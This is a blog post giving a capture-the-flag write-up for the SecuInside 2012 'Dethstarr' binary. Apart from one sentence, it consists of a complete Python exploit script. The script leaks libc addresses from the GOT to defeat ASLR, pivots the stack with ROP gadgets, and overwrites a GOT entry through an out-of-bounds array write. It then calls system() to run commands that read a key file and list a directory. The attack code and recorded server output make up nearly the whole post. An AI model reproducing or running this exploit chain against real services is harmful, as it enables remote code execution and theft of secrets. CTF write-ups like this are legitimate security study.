code hacking, zen coding

SecuInside 2012 – Dethstarr binary Write-up

Quick solution post for this challenge for future reference

This a memory overwrite exploit, it’s a bit convoluted because ASLR was enabled and so we need to do an infoleak to get the right offset inside libc.

#!/usr/bin/env python

import socket
import sys
import time
import struct

if len(sys.argv) != 3:
  print '\nUsage:\t./dethhstar.py [host] [port]'
  sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                         # Creating Socket
s.connect((host, port))                                                       # Connecting to socket

out = open("buf.bin","wb")

handshake = s.recv(72)
print 'Received', repr(handshake)

#      cmp     eax, 0CAh |  test    eax, eax  [     cmp eax, 1     | cmp [ebp+arg_0], 0ACh | cmp [ebp+arg_4], 9Ah |  imul/cmp  eax, 4Eh/jle |
buf = '\xCA\x00\x00\x00' + '\x00\x00\x00\x00' + '\x01\x00\x00\x00' + '\xAC\x00\x00\x00'    +  '\x9A\x00\x00\x00'  + '\x01\x00\x00\x00'  

#            cmp [ebp+var_8], 0|cmp [ebp+var_C], 0|cmp [ebp+var_10], 1|cmp [ebp+var_14], 1
buf = buf + '\x00\x00' + '\x00\x00' + '\x01\x00' + '\x01\x00\x49\x4e\x53\x54\x1f'
 
print "Len=", len(buf)

buf = buf + '\x00' * (40 - len(buf))

i = 0
for a in buf:
  #print '%X' % i, repr(a)
  i+=1

out.write(buf)
s.send(buf);

buf = 'A' * 31

out.write(buf)
s.send(buf)

case1 = s.recv(96)
print 'Received', repr(case1)

casenumber = struct.unpack('L', case1[16:20])

print "caseNumber=%X" % casenumber

# Received '\x08\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xdd\xcc\xbb\xaa\xff\xff\xff\xff\x00\x00\x00\x00\xef\x00\xbf\x00\xff\xff\xff\xfff\x00\x00\x00lu\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00?\x17\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

for case in [1,3,4,5]:

  print "Working on case=", case

  #       cmp     eax, 8     |   test    al, al   |     not checked    | cmp  eax, 0DFE1ABCCh | case number x      | test    eax, eax
  buf = '\x08\x00\x00\x00' + '\xff\xff\xff\xff' + '\x00\x00\x00\x00' + '\xcc\xab\xe1\xdf'   + struct.pack('L', case) + '\xff\xff\xff\xff'

  #      cmp     ax, 0FFh   | test    ax, ax/jz | test    eax, eax/js | cmp     eax, 66h   | cmp  al, 6Ch / cmp  al, 75h / cmp  eax, 0FFh
  buf += '\xff\x00'         +     '\x00\x00'    + '\xff\xff\xff\xff'  + '\x66\x00\x00\x00' + '\x6c\x75\x00\x00' + '\xFF\x00\x00\x00'

  #     cmp     eax, 60h    | test eax, eax/jnz  | cmp eax, 7FFFFFFFh | cmp al, 9Ch        | cmp     eax, 1Fh
  buf += '\x60\x00\x00\x00' + '\xff\xff\xff\xff' + '\xff\xff\xff\x7f' + '\x9c\x00\x00\x00' +  '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (64 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  leak = struct.pack('L', 0x0804a7b8)
  trigger_vuln = struct.pack('L', 0x0804861E)
  ebp = struct.pack('L', 0x0804A8F0)

  # Fake Stack

  buf = 'ABCD' + leak + 'IJKL' + 'MNOP' + ebp + trigger_vuln
  buf += 'A' * (31 - len(buf))

  out.write(buf)
  s.send(buf)

case2 = s.recv(68)
print 'Received', repr(case2)

# Received '\xbc\x00\xa1\x00\xbd\x00 \x00\x91\x00\x00\x00\x06\x00\x00\x00\xff\xff\xff\xff\xca\x00\x00\x00\xee\xee\xee\xee\xcc\xcc\xcc\xcc \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

for case in [1,0,2]:

  print "Working on case=", case
 
  #a    cmp ax,0CBh/cmp ax, 1Ah | cmp ax, 0DBh/cmp ax, 2 |                                     cmp  eax, 0FFFFFFFFh/jnz |acmp     ax, 0CAh  |
  buf = '\xcb\x00\x1a\x00'      + '\xdb\x00\x02\x00'     + '\x19\x00\x00\x00' + '\x06\x00\x00\x00' + '\x00\x00\x00\x00' + '\xca\x00\x00\x00'

  #     cmp eax, 0CCCCCCCCh |  case number x         | cmp  eax, 1Fh    
  buf += '\xcc\xcc\xcc\xcc' + struct.pack('L', case) + '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (36 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = 'A' * 31

  out.write(buf)
  s.send(buf)

case3 = s.recv(120)
print 'Received', repr(case3)

# Received '\x02\x00\x00\x00\xaa\x00\xbb\x00\xff\xff\xff\xff\x0c\x00\x00\x00\xcc\xcc\xcc\xcc\x15\x00\xe5\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\xff\xff\xff\xff\x11\xdc\xabJ\xbb\xa1\x89g\xff\x00\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\xb4\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

####### VULN HERE ######

#.text:08048894                 mov     eax, [ebp+buf]
#.text:08048897                 mov     eax, [eax]
#.text:08048899                 test    eax, eax
#.text:0804889B                 jnz     short loc_80488AF

# eax = buf + 8
# edx = buf

# .text:0804893D                 mov     edx, [ebp+buf]
# .text:08048940                 mov     edx, [edx]
# .text:08048942                 mov     ds:dword_804A8E0[eax*4], edx


for case in [3]:

  print "Working on case=", case

  # atoi = 268
  # memcpy = 276

  offset = - ( 276 / 4)
  #offset = 31

  offset_endianess = struct.pack('L', offset)

  rop = struct.pack('L', 0x080495B2) # pivot stack frame

  # '\xff\xff\xff\xff'
  buf = rop + '\x01\x00\x00\x00' + offset_endianess + offset_endianess + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
 
  # change to 1 for good check
  buf += '\x01\x00\x00\x00' + '\xff\xff\x00\x00' + '\x00\x00\xff\xff' + '\x04\x00\x00\x00' + '\x52\x00\xe1\x00' + struct.pack('L', case)

  buf += '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (52 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  rop = struct.pack('L', 0x080491E0)

  buf = 'ABCDEFGHIJKLMNOPQ' + rop + 'VWXYZ01234'

  out.write(buf)
  s.send(buf)

case4 = s.recv(120)
print 'Received', repr(case4)

# Received '\x00\x00\x00\x00\xaa\x00\xbb\x00\xff\xff\xff\xff\x0c\x00\x00\x00\xcc\xcc\xcc\xcc\x15\x00\xe5\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\xff\xff\xff\xff\x11\xdc\xabJ\xbb\xa1\x89g\xff\x00\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\xb4\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

print "STEP1"

for case in [0]:

  print "Working on case=", case

  offset = - ( 276 / 4)
  offset_endianess = struct.pack('L', offset)
  rop = struct.pack('L', 0x080495B2)

  #
  buf = '\xff\xff\xff\xff' + '\x01\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
  #buf = rop + '\x01\x00\x00\x00' + offset_endianess + offset_endianess + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
 
  buf += '\x01\x00\x00\x00' + '\xff\xff\x00\x00' + '\x00\x00\xff\xff' + '\x04\x00\x00\x00' + '\x52\x00\xe1\x00' + struct.pack('L', case)

  buf += '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (52 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = 'A' * 31

  out.write(buf)
  s.send(buf)

case5 = s.recv(72)
print 'Received', repr(case5)

case6 = s.recv(120)
print 'Received', repr(case6)

# Received '\x82\x00\x00\x00\x02\x00\x00\x00\t\x00\x00\x00 \x00\x00\x00 \x00\x00\x00\t\x00\x00\x00\xff\xff\xff\xff\xc1\x00\xc5\x00\xca\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
# Received '\x01\x00\x00\x00\xaa\x00\xbb\x00\xff\xff\xff\xff\x0c\x00\x00\x00\xcc\xcc\xcc\xcc\x15\x00\xe5\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\xff\xff\xff\xff\x11\xdc\xabJ\xbb\xa1\x89g\xff\x00\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\xb4\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

print "STEP2"

for case in [0]:

  print "Working on case=", case

  #
  buf = '\xff\xff\xff\xff' + '\x01\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
 
  buf += '\x01\x00\x00\x00' + '\xff\xff\x00\x00' + '\x00\x00\xff\xff' + '\x04\x00\x00\x00' + '\x52\x00\xe1\x00' + struct.pack('L', case)

  buf += '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (52 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = 'A' * 31

  out.write(buf)
  s.send(buf)

case8 = s.recv(120)
print 'Received', repr(case8)

# Received '\x03\x00\x00\x00\xaa\x00\xbb\x00\xff\xff\xff\xff\x0c\x00\x00\x00\xcc\xcc\xcc\xcc\x15\x00\xe5\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\xff\xff\xff\xff\x11\xdc\xabJ\xbb\xa1\x89g\xff\x00\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\xb4\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

for case in [2]:

  print "Working on case=", case

  #
  buf = '\xff\xff\xff\xff' + '\x01\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
 
  buf += '\x01\x00\x00\x00' + '\xff\xff\x00\x00' + '\x00\x00\xff\xff' + '\x04\x00\x00\x00' + '\x52\x00\xe1\x00' + struct.pack('L', case)

  buf += '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (52 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = 'A' * 31

  out.write(buf)
  s.send(buf)

# checkCase1

for case in [5]:  # 5,4,3,1

  print "STEP 3 Working on case=", case

  #       cmp     eax, 8     |   test    al, al   |     not checked    | cmp  eax, 0DFE1ABCCh | case number x      | test    eax, eax
  buf = '\x08\x00\x00\x00' + '\xff\xff\xff\xff' + '\x00\x00\x00\x00' + '\xcc\xab\xe1\xdf'   + struct.pack('L', case) + '\xff\xff\xff\xff'

  #      cmp     ax, 0FFh   | test    ax, ax/jz | test    eax, eax/js | cmp     eax, 66h   | cmp  al, 6Ch / cmp  al, 75h / cmp  eax, 0FFh
  buf += '\xff\x00'         +     '\x00\x00'    + '\xff\xff\xff\xff'  + '\x66\x00\x00\x00' + '\x6c\x75\x00\x00' + '\xFF\x00\x00\x00'

  #     cmp     eax, 60h    | test eax, eax/jnz  | cmp eax, 7FFFFFFFh | cmp al, 9Ch        | cmp     eax, 1Fh
  buf += '\x60\x00\x00\x00' + '\xff\xff\xff\xff' + '\xff\xff\xff\x7f' + '\x9c\x00\x00\x00' +  '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (64 - len(buf))

  i = 0
  for a in buf:
#    print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  ebp = struct.pack('L', 0x0804A8F0)
  rop = struct.pack('L', 0x080491E0)
 
  buf = 'ABCDEFGHIJKLM' + ebp + rop + 'VWXYZ01234'

  out.write(buf)
  s.send(buf)

# Exploit will retrigger vulnerable readCase3

# RECEIVE GOT TABLE

got = s.recv(72)
for i in range(0,18):
  addr = struct.unpack('L', got[i*4:i*4+4])[0]
  print "i=",i, "addr=", hex(addr)
  if i==1: # write
    offset_write = 0x1fdd10
    offset_system = 0x16a5b0
    addr_system = addr - offset_write + offset_system

print "Calculated system address=", hex(addr_system)

print "STEP4 Vulnerability retrigger"

for case in [2]:

  print "STEP 4 Working on case=", case

  offset = - ( 268 / 4)
  offset_endianess = struct.pack('L', offset)
  rop = struct.pack('L', addr_system)

  #
  #buf = '\xff\xff\xff\xff' + '\x01\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x1f\x00\x00\x00' + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
  buf = rop + '\x01\x00\x00\x00' + offset_endianess + offset_endianess + '\x0a\x00\x00\x00' + '\x0a\x00\x00\x00'
 
  buf += '\x01\x00\x00\x00' + '\xff\xff\x00\x00' + '\x00\x00\xff\xff' + '\x04\x00\x00\x00' + '\x52\x00\xe1\x00' + struct.pack('L', case)

  buf += '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (52 - len(buf))

  i = 0
  for a in buf:
    #print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = '/bin/cat /home/dethstarr/key'
  buf += '\x00' * (31 - len(buf))

  out.write(buf)
  s.send(buf)

print "STEP 5"

for case in [5]:  # 5,4,3,1

  print "STEP 5 Working on case=", case

  #       cmp     eax, 8     |   test    al, al   |     not checked    | cmp  eax, 0DFE1ABCCh | case number x      | test    eax, eax
  buf = '\x08\x00\x00\x00' + '\xff\xff\xff\xff' + '\x00\x00\x00\x00' + '\xcc\xab\xe1\xdf'   + struct.pack('L', case) + '\xff\xff\xff\xff'

  #      cmp     ax, 0FFh   | test    ax, ax/jz | test    eax, eax/js | cmp     eax, 66h   | cmp  al, 6Ch / cmp  al, 75h / cmp  eax, 0FFh
  buf += '\xff\x00'         +     '\x00\x00'    + '\xff\xff\xff\xff'  + '\x66\x00\x00\x00' + '\x6c\x75\x00\x00' + '\xFF\x00\x00\x00'

  #     cmp     eax, 60h    | test eax, eax/jnz  | cmp eax, 7FFFFFFFh | cmp al, 9Ch        | cmp     eax, 1Fh
  buf += '\x60\x00\x00\x00' + '\xff\xff\xff\xff' + '\xff\xff\xff\x7f' + '\x9c\x00\x00\x00' +  '\x1f\x00\x00\x00'

  buf = buf + '\x00' * (64 - len(buf))

  i = 0
  for a in buf:
#    print '%X' % i, repr(a)
    i+=1

  out.write(buf)
  s.send(buf)

  buf = 'ls -la'
  buf += ';' * (31 - len(buf))

  out.write(buf)
  s.send(buf)

out.close()

print "Fallback!"

while 1:
    line = s.recv(4096)
    if not line:
        break
    print 'Received', repr(line)

s.close()
Share